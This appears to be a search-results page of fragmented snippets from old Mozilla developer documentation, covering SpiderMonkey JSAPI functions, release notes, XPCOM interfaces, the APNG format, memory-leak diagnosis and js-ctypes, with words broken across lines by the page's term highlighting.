...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. rt jsruntime * the runtime in which to add the new root. vp js::heap<js::value> the address of the js::value var...
...requires request. ...
...And 5 more matches
JS::Evaluate
this article covers features introduced in spidermonkey 17 compile and execute a scr
ipt. syntax // added in spidermonkey 45 bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlevalue rval);...
...obsolete since jsapi 39 scopechain js::autoobjectvector & the scope in wh...
...onst js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlevalue rval); name type descr
iption cx jscontext * the context in which to run the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the scope in which to execute the scr
ipt. this parameter is documented in detail at js_executescr
ipt. obsolete since jsapi 39 scopechain js::autoobjectvector & the scope in which to execute the scr
ipt. this parameter is documented in detail at js_...
...And 5 more matches
JSErrorReport
describes the format of a js error that is used either by the internal error reporting mechanism or by a user-defined error-reporting mechanism. syntax jserrorreport(); properties name type descr
iption filename const char * indicates the source file or url that produced the error condition. if null, the error is local to the scr
ipt in the current html page. lineno unsigned line number in the source that caused the error. column unsigned zero-based column index in line in the source that caused the error. ismuted bool the web platform allows scr
ipts to be loaded from arbitrary cross-origin sources. this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cros...
...muted bool the web platform allows scr
ipts to be loaded from arbitrary cross-origin sources. this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents. to counter this attack, html5 specifies that scr
ipt errors should be sanitized ("muted") when the scr
ipt is not same-origin with the global for which it is loaded. callers should set this flag for cross-origin scr
ipts, and it will be propagated appropriately to child scr
ipts and passed back in jserrorreports. linebuf const char * text of the line that caused the error, minus the trailing newline character. tokenptr ...
... the logical or of zero or more of the following flags: jsreport_warning this "error" is really only a warning. it will not cause the current operation to fail. jsreport_exception an exception is being raised. ...
...And 5 more matches
JS_SetOptions
obsolete since jsapi 27this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. enables and disables options on a jscontext, replacing all previously set options. syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type descr
iption cx jscontext * a context on which to set options. options uint32 the new set of options. this is the logical or of zero or more flags described below. descr
iption js_setoptions sets the option flags of a given js context cx. this function returns a uint32 value containing the previous values of the flags. to turn individual options on or off, use js_setoptions with js_getoptions: // turn...
...ptions on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants from the following table: option descr
iption jsoption_extra_warnings warn on dubious practice. mxr id search for jsoption_extra_warnings jsoption_werror convert warnings to errors. mxr id search for jsoption_werror jsoption_varobjfix make js_evaluatescr
ipt() use the last object on its obj param's scope chain (that is, the global object) as the ...
... the former creates a property on the global object. ...
...And 5 more matches
Property attributes
in loops, as well as to js_enumerate. ...
...ed in the ecmascr
ipt standard, in ecma 262-3 ?8.6.1. spidermonkey additionally defines several non-standard property attributes. the jsapi expresses property attributes as a value of type unsigned, the bitwise or of zero or more of the jsprop flags described below. an application can set property attributes when creating a property. see js_defineproperty, js_fs, and js_fn flag descr
iption jsprop_enumerate the property is visible to javascr
ipt for...in and for each ... in loops, as well as to js_enumerate. this is the inverse of the ecma standard dontenum attribute. mxr id search for jsprop_enumerate jsprop_readonly the property's value cannot be set. ...
...rty. see js_defineproperty, js_fs, and js_fn flag descr
iption jsprop_enumerate the property is visible to javascr
ipt for...in and for each ... in loops, as well as to js_enumerate. this is the inverse of the ecma standard dontenum attribute. mxr id search for jsprop_enumerate jsprop_readonly the property's value cannot be set. in javascr
ipt 1.2 and lower, it is an error to attempt to assign a value to a read-only property. in javascr
ipt 1.3 and higher, as in ecmascr
ipt, attempts to set a value on a read-only property are ignored. this is the ecma standard readonly attribute. ...
...And 5 more matches
JSDBGAPI
the jsdbg api is obsolete and has been removed in spidermonkey 35. see bug 1069694. ...
...te and has been removed in spidermonkey 35. see bug 1069694. ...
... breakpoints js_settrap js_gettrapopcode js_cleartrap js_clearscr
ipttraps js_clearalltraps js_handletrap js_setinterrupt js_clearinterrupt watchpoints js_setwatchpoint js_clearwatchpoint js_clearwatchpointsforobject js_clearallwatchpoints inspecting the stack js_pctolinenumber js_linenumbertopc js_getfunctionscr
ipt js_getfunctionnative js_getfunctionfastnative js_getscr
iptprinc
ipals typedef jsstackframe js_frameiterator js_getframescr
ipt js_getframepc js_getscr
iptedcaller js_stackframeprinc
ipals js_evalframeprinc
ipals js_getframeannotation js_setframeannotation js_getframeprinc
ipalarray js_isnativeframe js_getframeobject js_getframescopechain js_getframecallobject js_getframethis js_getframefunction js_getframefunctionobject js_isconstructor...
...And 5 more matches
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!). the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 1.8.8. you can download full source code here: insert-actual-link-when-the-release-happens (md5 checksum: insert-actual-hash-here). spidermonkey 1.8.8 is the javascr
ipt engine that sh
ipped in firefox 10.0. it continues to improve performance over previous spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described in detail below. please...
... spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. --insert-actual-release-date-here platform support spidermonkey 1.8.8 is supported on all the platforms where firefox insert-actual-firefox-version-number-here runs. spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m...
...t engine. --insert-actual-release-date-here platform support spidermonkey 1.8.8 is supported on all the platforms where firefox insert-actual-firefox-version-number-here runs. spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m
ips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascr
ipt code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 1.8.8 the following features in earlier versions of spidermonkey have been dropped. the jsresolve_classname and jsresolve_with resolve flags (passed to jsclass.resolve wh...
...And 5 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 17. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). spidermonkey 17 is the javascr
ipt engine that sh
ipped in firefox 17. it continues to improve performance over previous spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described i...
... spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. -- 25 march 2013 platform support spidermonkey 17 is supported on all the platforms where firefox 17 runs. spidermonkey 17 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m
ips), the jit is provided but not supported. on all other pla...
...it's the same language, just not as fast. migrating to spidermonkey 17 the following features in earlier versions of spidermonkey have been dropped. ...
...And 5 more matches
SpiderMonkey 24
these release notes are an incomplete draft and were initially seeded from the spidermonkey 17 release notes, so they're not necessarily complete or fully accurate. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 24. you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascr
ipt engine that sh
ipped in firefox 24. it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozi...
...er previous spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. -- dec 16, 2013 the download url still available, but spidermonkey not release alone! get it here mozilla-esr24 if the download url is outdate you will find it in "firefox extended support release 24" package on hg release platform support spidermonkey 24 is supported on all the platforms where firefox 24 runs. compiling it requires a c++ compiler, and the jsapi can only be used...
...ly be used from c++ code. (this change was motivated by garbage collector improvements, which lean quite heavily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped. spidermonkey 24 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m
ips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascr
ipt code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 24 spidermonkey now provide...
...And 5 more matches
Zest usecase: Reporting Security Vulnerabilities to Developers
e fail to solve the underlying problems. while it will still be necessary to describe vulnerabilities, zest allows security teams to create reproducible test cases which they can then share with the developers. these test cases can be used by the developers to reproduce the issues and test their fixes. ...
...l still be necessary to describe vulnerabilities, zest allows security teams to create reproducible test cases which they can then share with the developers. these test cases can be used by the developers to reproduce the issues and test their fixes. ideally security engineers will be able to use their favourite security tools to create zest scr
ipts while developers will be able to rerun those scr
ipts using the tools that they are familiar with. ...
...the issues and test their fixes. ideally security engineers will be able to use their favourite security tools to create zest scr
ipts while developers will be able to rerun those scr
ipts using the tools that they are familiar with. ...
...And 5 more matches
Using RAII classes in Mozilla
cture using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage. this involves just one addition to the class, and the inclusion of attributes.h: class moz_raii nsautoscr
iptblocker {...} this is much simpler and more thorough than the guardobject runtime assertions, but are unfortunately currently only run on mac os x and linux builds, which means that guardobject should still be used for raii guards which may be used in windows-only code. assertions runtime assertions offer two benefits - firstly, they run on windows, which the static analysis currently does no...
... he might not think to run. we have a set of macros that will cause a class to assert when it is instantiated at a temporary. they cause no extra complexity for users of the class, but they do slightly complicate the implementation of the class. these macros are provided in guardobjects.h. ...
... of macros that will cause a class to assert when it is instantiated at a temporary. they cause no extra complexity for users of the class, but they do slightly complicate the implementation of the class. these macros are provided in guardobjects.h. in the common case, using these macros involves these three additions to a class: class moz_raii nsautoscr
iptblocker { public: explicit nsautoscr
iptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; nscontentutils::addscr
iptblocker(cx); } ~nsautoscr
iptblocker() { nscontentutils::removescr
iptblocker(); } private: moz_decl_use_guard_object_notifier }; moz_guard_object_notifier_param is added to the end of the constructor's parameter list. moz_guard_object...
...And 5 more matches
Animated PNG graphics
eight parameters of the png 'ihdr' chunk. conceptually, each frame is constructed in the output buffer before being composited onto the canvas. the contents of the output buffer are available to the decoder. the corners of the output buffer are mapped to the corners of the canvas. fully transparent black means red, green, blue and alpha components are all set to zero. for purposes of chunk descr
iptions, an unsigned int shall be a 32-bit unsigned integer in network byte order limited to the range 0 to (2^32)-1; an unsigned short shall be a 16-bit unsigned integer in network byte order with the range 0 to (2^16)-1; and a byte shall be an 8-bit unsigned integer with the range 0 to (2^8)-1. error handling apng is designed to allow incremental display of frames before the entire image has bee...
...t out-of-order apng chunks as an error. apng-aware png editors should restore them to correct order using the sequence numbers. 'actl': the animation control chunk the 'actl' chunk is an ancillary chunk as defined in the png specification. it must appear before the first 'idat' chunk within a valid png stream. the 'actl' chunk contains: byte offset field name field type descr
iption 0 num_frames unsigned int the number of frames in the apng. 4 num_plays unsigned int the number of times to loop this apng. 0 indicates infinite looping. num_frames indicates the total number of frames in the animation. this must equal the number of 'fctl' chunks. 0 is not a valid value. 1 is a valid value for a single-frame apng. if this value does ...
...e the 'fdat' chunks for the frame. for all subsequent frames, the 'fctl' chunk for frame n must appear after the 'fdat' chunks from frame n-1 and before the 'fdat' chunks for frame n. other ancillary chunks are allowed to appear among the apng chunks, including between 'fdat' chunks. exactly one 'fctl' chunk is required for each frame. byte offset field name field type descr
iption 0 sequence_number unsigned int sequence number of the animation chunk, starting with 0. 4 width unsigned int width of the following frame. 8 height unsigned int height of the following frame. 12 x_offset unsigned int x position at which to render the following frame. 16 y_offset unsigned int y position a...
...And 5 more matches
Component Internals
<< previousnext >> where the previous chapter described components from the perspective of a client of xpcom components, this chapter discusses components from the perspective of the software developer. read on to see how components are generally implemented in xpcom, or you can sk
ip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process. ...
...k component tutorial takes you step by step through the component creation process. xxx mediawiki...xxx sucks creating components in c++ let's start by examining how xpcom components are written in c++. the most common type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix). the illustration below shows the basic relationsh
ip between the shared library containing the component implementation code you write and the xpcom framework itself. in this diagram, the outer boundary is that of the module, the shared library in which a component is defined. a component in the xpcom framework when you build a component or module and compile it into a library, it must export a single method named nsgetmodule. this nsgetmodule ...
...s, and those modules are defined in shared library files that typically sit in the components directory of an xpcom application. a set of default libraries stored in this components directory makes up a typical gecko installation, providing functionality that consists of networking, layout, composition, a cross-platform user interface, and others. another, even more basic view of this relationsh
ip of components to the files and interfaces that define them is shown in onion peel view of xpcom component creation in the next chapter. the component is an abstraction sitting between the actual module in which it is implemented and the objects that its factory code creates for use by clients. xpcom initialization to understand why and when your component library gets called, it is important t...
...And 5 more matches
IAccessibleTable2
other-licenses/ia2/accessibletable2.idlnot scr
iptable this interface gives access to a two-dimensional table. 1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessibletablecell interface. if you want to support older applications you should also support the iaccessibletable interface. ...
...ecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessibletablecell interface. if you want to support older applications you should also support the iaccessibletable interface. ...
... / fennec 1.0) please also refer to the iaccessibletablecell interface. if you want to support older applications you should also support the iaccessibletable interface. ...
...And 5 more matches
nsIAccessibleTable
accessible/public/nsiaccessibletable.idlscr
iptable please add a summary to this article. ...
...to this article. ...
...; note: renamed from getindexat in gecko 1.9.2 astring getcolumndescr
iption(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowdescr
iption(in long rowindex); long getrowextentat(in long row, in long column); long getrowindexat(in long cellindex); note: renamed from getrowatindex in gecko 1.9.2 void getselectedcellindices(out unsigned long cellsarraysize, [retval, array, size_is(cellsarraysize)] out long cellsarray); note: renamed from getselectedcells in gecko 1.9.2 void getselectedcolumnindic...
...And 5 more matches
nsIBrowserSearchService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1. to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. ...
... use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). ...
...may be null if there are no visible search engines. defaultengine nsisearchengine the default search engine. returns the first visible engine if the default engine is hidden. may be null if there are no visible search engines. read only. originaldefaultengi...
...And 5 more matches
nsICache
the nsicache is a namespace for various cache constants. it does not represent an actual object. netwerk/cache/public/nsicache.idlscr
iptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports constants constant value descr
iption access_none 0 access granted - no descr
iptor is provided. access_read 1 access requested - i only want to read, if there isn't an entry just fail. access granted - you can read from this descr
iptor. access_write 2 access requested - i have something new i want to write into the cache, make me a new entry and doom the old one, if any. access granted - you must write to this descr
iptor because the cache entry was just created for you. access_read_write 3 access requested - i want to read,...
...ed - i have something new i want to write into the cache, make me a new entry and doom the old one, if any. access granted - you must write to this descr
iptor because the cache entry was just created for you. access_read_write 3 access requested - i want to read, but i'm willing to update an existing entry if necessary, or create a new one if none exists. access granted - you can read the descr
iptor to determine if it's valid, you may write if it needs updating. store_anywhere 0 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescr
iptor for more details. allows the cache entry to be stored in any device. the cache service decides which cache device to use based on "some resource management calculation." store_in_...
...s the device(s) to which it belongs. see nsicachesession and nsicacheentrydescr
iptor for more details. allows the cache entry to be stored in any device. the cache service decides which cache device to use based on "some resource management calculation." store_in_memory 1 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescr
iptor for more details. requires the cache entry to reside in non-persistent storage. that is typically in system ram. store_on_disk 2 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescr
iptor for more details. requires the cache entry to reside in persistent storage. that is typically on a system's hard disk. store_on_dis...
...And 5 more matches
nsIContentPrefService
last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports implemented by: @mozilla.org/content-pref/service;1. ...
..., use: var contentprefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); method overview void addobserver(in astring aname, in nsicontentprefobserver aobserver); nsivariant getpref(in nsivariant agroup, in astring aname, [optional] in nsicontentprefcallback acallback); ns
ipropertybag2 getprefs(in nsivariant agroup); ns
ipropertybag2 getprefsbyname(in astring aname); boolean haspref(in nsivariant agroup, in astring aname); void removegroupedprefs(); void removeobserver(in astring aname, in nsicontentprefobserver aobserver); void removepref(in nsivariant agroup, in astring aname); void removeprefsbyname(in astring...
...also useful for testing the database crea...
...And 5 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated. add-ons should use the standard datatransfer drag and drop api instead. the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
...; void dragmoved(in long ax, in long ay); native code only! void firedrageventatsource(in unsigned long amsg); obsolete since gecko 43 void firedrageventatsource(in mozilla::eventmessage aeventmessage); native code only! ...
...firedrageventatsource(in mozilla::eventmessage aeventmessage); native code only! ...
...And 5 more matches
Building an Account Manager Extension
server.type == \"imap\") return true; return false; }, queryinterface: xpcomutils.generateqi([ components.interfaces.nsimsgaccountmanagerextension ]) } step 2: building a component we convert the interface to a xpcom component and register it in the component manager as account manager extension. therefore we add the following code to the previous. the javascr
ipt file has to be saved either in the extension's or thunderbird's component directory. // define the contract information needed for this component... // ... the unique component identifier (change it if you copied this example!)... devmoaccountmanagerextension.prototype.classid = components.id("{659ce960-9dfb-11dd-ad8b-0800200c9a55}"); // ... the descr
iption and ... devmoaccountmanagerextensio...
... either in the extension's or thunderbird's component directory. // define the contract information needed for this component... // ... the unique component identifier (change it if you copied this example!)... devmoaccountmanagerextension.prototype.classid = components.id("{659ce960-9dfb-11dd-ad8b-0800200c9a55}"); // ... the descr
iption and ... devmoaccountmanagerextension.prototype.classdescr
iption = "devmo account manager extension"; // ... textual unique identifier or rendez-vous point in the category manager. devmoaccountmanagerextension.prototype.contractid = "@mozilla.org/accountmanager/extension;1?name=example@mozilla.org"; // add the component to the mailnews-accountmanager-extensions category devmoaccountmanagerextension.prototype._xpcom_categories: [{ category: "mailnews-acco...
...ple@mozilla.org" as chrome package. this means the xul file for the new panel has to be located in chrome://example@mozilla.org/content/am-devmo-account.xul. and the property file needs to be in chrome://example@mozilla.org/locale/am-devmo-account.properties. the xul file needs a page element as root element, with a special on load command. furthermore you should include the accountmanager.js scr
ipt and accountmanage.css styles. it is common practice to use for the javascr
ipt of the new panel, the same naming as used for the xul. this means in our example, the javascr
ipt file should be located in chrome://example@mozilla.org/content/am-devmo-account.js. <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountmanage.css" type="text/css"?> <page xmlns="...
...And 5 more matches
nsIMsgDatabase
the nsimsgdatabase interface is an abstract interface used to access the mail database backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscr
iptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
... nextfakeofflinemsgkey nsmsgkey readonly: for saving "fake" offline msg hdrs. defau...
...a new header, fill in its properties, and then call addnewhdrtodb. addnewhdrtodb will send notifications to any listeners. nsimsgdbhdr createnewhdr(in nsmsgkey key); addnewhdrtodb() void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); copyhdrfromexistinghdr() nsimsgdbhdr copyhdrfromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); listallkeys() [noscr
ipt] void listallkeys(in nsmsgkeyarrayref outputkeys); enumeratemessages() nsisimpleenumerator enumeratemessages(); enumeratethreads() nsisimpleenumerator enumeratethreads(); synccounts() count the total and unread msgs, and adjust global count if needed. void synccounts(); getthreadcontainingmsghdr() nsimsgthread getthreadcontainingmsghdr(in nsimsgdbhdr msghdr) ; markhdrread() helpers for ...
...And 5 more matches
nsIMsgFolder
isspecialfolder and such). ...
...e); boolean confirmfolderdeletionforfilter(in nsimsgwindow msgwindow); void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldernamefrombundle(in string msgname); void notifycompactcompleted(); long comparesortkeys(in nsimsgfolder msgfolder); [noscr
ipt] void getsortkey(out octet_ptr key, out unsigned long length); boolean callfilterplugins(in nsimsgwindow amsgwindow); acstring getstringproperty(in string propertyname); void setstringproperty(in string propertyname, in acstring propertyvalue); boolean isancestorof(in nsimsgfolder folder); boolean containschildnamed(in astring name); nsimsgfo...
... lastmessag...
...And 5 more matches
nsIRequest
bits 0-15 are reserved. ...
... thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each onstartrequest, ondataavaliable, and onstoprequest invocation. method overview void cancel(in nsresult astatus); boolean ispending(); void resume(); void suspend(); attributes attribute type descr
iption loadflags nsloadflags the load flags of this request. bits 0-15 are reserved. when added to a load group, this request's load flags are merged with the load flags of the load group. loadgroup nsiloadgroup the load group of this request. while pending, the request is a member of the load group. it is the responsibility of the request to implement this pol...
...request is a member of the load group. it is the responsibility of the request to implement this policy. name autf8string the name of the request. often this is the uri of the request. read only. status nsresult the error status associated with the request. read only. constants various load flags which may be or'd together. ...
...And 5 more matches
nsISocketTransportService
one could also use the service manager directly. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/socket-transport-service;1. ...
...components.classes["@mozilla.org/network/socket-transport-service;1"] .getservice(components.interfaces.nsisockettransportservice); method overview void attachsocket(in prfiledescptr afd, in nsasockethandlerptr ahandler); native code only! ...
...er); native code only! nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in ns
iproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanattachsocket(in nsirunnable aevent); native code only! void shutdown(); obsolete since gecko 1.8 attributes attribute type descr
iption autodialenabled boolean controls whether or not the socket transport service should poke the autodialer on connection failure. obsolete since gecko 1.8 methods native code only! attachsocket adds a new socket to the list of controlled sockets. this will fail with the error code ns_error_not_available if the maximum number of sockets is already reached. in this case,...
...And 5 more matches
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscr
iptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko. this interface has a "function" attribute. therefore, js-ime can implement this as a function. ...
...erits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko. this interface has a "function" attribute. therefore, js-ime can implement this as a function. ...
...irefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko. this interface has a "function" attribute. therefore, js-ime can implement this as a function. ...
...And 5 more matches
Using tab-modal prompts
ompts, which only block the tab with which they're associated. only the window.alert() method gets this by default; you get this by default. tab-modal alert. disabling tab-modal prompts you can disable tab-modal prompts and get back window-modal prompts by setting the prompts.tab_modal.enabled preference to false. ...
...ck window-modal prompts by setting the prompts.tab_modal.enabled preference to false. using tab-modal prompts from chrome code currently, ns
iprompt defaults to using window-modal prompts. you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.ns
ipromptfactory) .getprompt(thewindow, components.interfaces.ns
iprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window. even if you set it to the browser window ("var thewindow = window") the modal alert will be shown in the current tab. from then on, yo...
... .getprompt(thewindow, components.interfaces.ns
iprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window. even if you set it to the browser window ("var thewindow = window") the modal alert will be shown in the current tab. from then on, you can use the ns
iprompt object, prompt, as usual. ...
...And 5 more matches
Zombie compartments
this page tells you how to detect and avoid zombie compartments, which are a particular kind of memory leak. they can be caused by bugs in firefox itself, or by bugs in firefox add-ons. compartments firefox's javascr
ipt memory is segregated into zones and compartments. roughly speaking, all memory used by javascr
ipt code that is from a particular origin (i.e. website) goes into its own compartment. firefox's own javascr
ipt code also gets one or more compartments and so do add-on scr
ipts. mult
iple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information. viewing live compartments if you want to see a list of live compartments, type "about:memory" into the addre...
...ogle.de/) | | | | +--3.56 mb (00.71%) -- objects | | | | | +--3.04 mb (00.61%) ++ gc-heap | | | | | +--0.51 mb (00.10%) ++ malloc-heap | | | | | +--0.00 mb (00.00%) -- non-heap/code/asm.js | | | | +--2.43 mb (00.49%) -- shapes | | | | | +--1.47 mb (00.29%) ++ gc-heap | | | | | +--0.96 mb (00.19%) ++ malloc-heap | | | | +--1.03 mb (00.21%) -- scr
ipts | | | | | +--0.72 mb (00.14%) -- gc-heap [2] | | | | | +--0.31 mb (00.06%) -- malloc-heap/data [2] | | | | +--0.80 mb (00.16%) -- type-inference | | | | | +--0.66 mb (00.13%) -- type-scr
ipts [2] | | | | | +--0.13 mb (00.03%) -- allocation-site-tables [2] | | | | | +--0.02 mb (00.00%) -- object-type-tables [2] | | | | +--0.01 mb (00.00%) -- sundries...
...ext-nodes | | | | +--0.13 mb (00.03%) -- element-nodes | | | | +--0.02 mb (00.00%) -- other | | | | +--0.01 mb (00.00%) -- orphan-nodes | | | | +--0.00 mb (00.00%) -- event-targets | | | +--0.00 mb (00.00%) -- property-tables | | +---5.93 mb (01.19%) -- js-zone(0x13ffa0000) | | +--1.92 mb (00.39%) -- unused-gc-things | | +--1.28 mb (00.26%) -- lazy-scr
ipts | | | +--1.03 mb (00.21%) -- gc-heap | | | +--0.25 mb (00.05%) -- malloc-heap | | +--1.24 mb (00.25%) -- type-pool | | +--1.07 mb (00.21%) -- type-objects | | | +--1.04 mb (00.21%) -- gc-heap | | | +--0.03 mb (00.01%) -- malloc-heap | | +--0.23 mb (00.05%) ++ strings | | +--0.18 mb (00.04%) -- gc-heap-arena-admin the first line says ...
...And 5 more matches
Using COM from js-ctypes
inking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework. com is c++ and it cannot be written directly with js-ctypes. this documentaion explains how to convert the com c++ code into js-ctypes code. basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascr
ipt - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c. after that, we can pass a pointer . speech synthesis example let's start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait...
